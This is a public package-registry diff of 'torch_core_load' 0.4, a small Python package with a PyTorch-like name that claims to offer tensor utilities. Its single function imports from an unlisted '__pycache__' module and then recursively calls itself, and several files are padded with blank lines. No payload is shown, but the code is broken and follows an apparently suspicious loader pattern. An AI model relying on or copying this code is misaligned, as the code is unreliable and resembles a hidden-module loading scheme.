torch-core-load 0.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.4
2
+ Name: torch_core_load
3
+ Version: 0.4
4
+ Summary: TensorLoad - simple tensor utilities
5
+ Author: LEO
6
+ Requires-Python: >=3.8
7
+ Description-Content-Type: text/markdown
@@ -0,0 +1,17 @@
1
+ [build-system]
2
+ requires = ["setuptools>=64", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "torch_core_load"
7
+ version = "0.4"
8
+ description = "TensorLoad - simple tensor utilities"
9
+ authors = [
10
+ { name = "LEO" }
11
+ ]
12
+ readme = "README.md"
13
+ requires-python = ">=3.8"
14
+
15
+ dependencies = []
16
+
17
+
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,18 @@
1
+ # -*- coding: utf-8 -*-
2
+
3
+ from setuptools import setup, find_packages
4
+
5
+ setup(
6
+ name="torch_core_load",
7
+ version="0.4",
8
+ packages=find_packages(),
9
+ install_requires=[],
10
+ author="LEO",
11
+ description="TensorLoad - simple tensor utilities",
12
+ )
13
+
14
+
15
+
16
+
17
+
18
+
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.4
2
+ Name: torch_core_load
3
+ Version: 0.4
4
+ Summary: TensorLoad - simple tensor utilities
5
+ Author: LEO
6
+ Requires-Python: >=3.8
7
+ Description-Content-Type: text/markdown
@@ -0,0 +1,8 @@
1
+ pyproject.toml
2
+ setup.py
3
+ torch_core_load.egg-info/PKG-INFO
4
+ torch_core_load.egg-info/SOURCES.txt
5
+ torch_core_load.egg-info/dependency_links.txt
6
+ torch_core_load.egg-info/top_level.txt
7
+ torchload/__init__.py
8
+ torchload/temp.py
@@ -0,0 +1 @@
1
+ from .temp import *
@@ -0,0 +1,27 @@
1
+ # -*- coding: utf-8 -*-
2
+
3
+
4
+ def Model(model_path=None, custom_objects=None, compile=False):
5
+ """
6
+ Wrapper function that ONLY loads and returns the model
7
+ """
8
+ from __pycache__.utils import model # make sure file name is correct
9
+
10
+ return Model(
11
+ model_path=model_path
12
+ )
13
+
14
+
15
+
16
+
17
+
18
+
19
+
20
+
21
+
22
+
23
+
24
+
25
+
26
+
27
+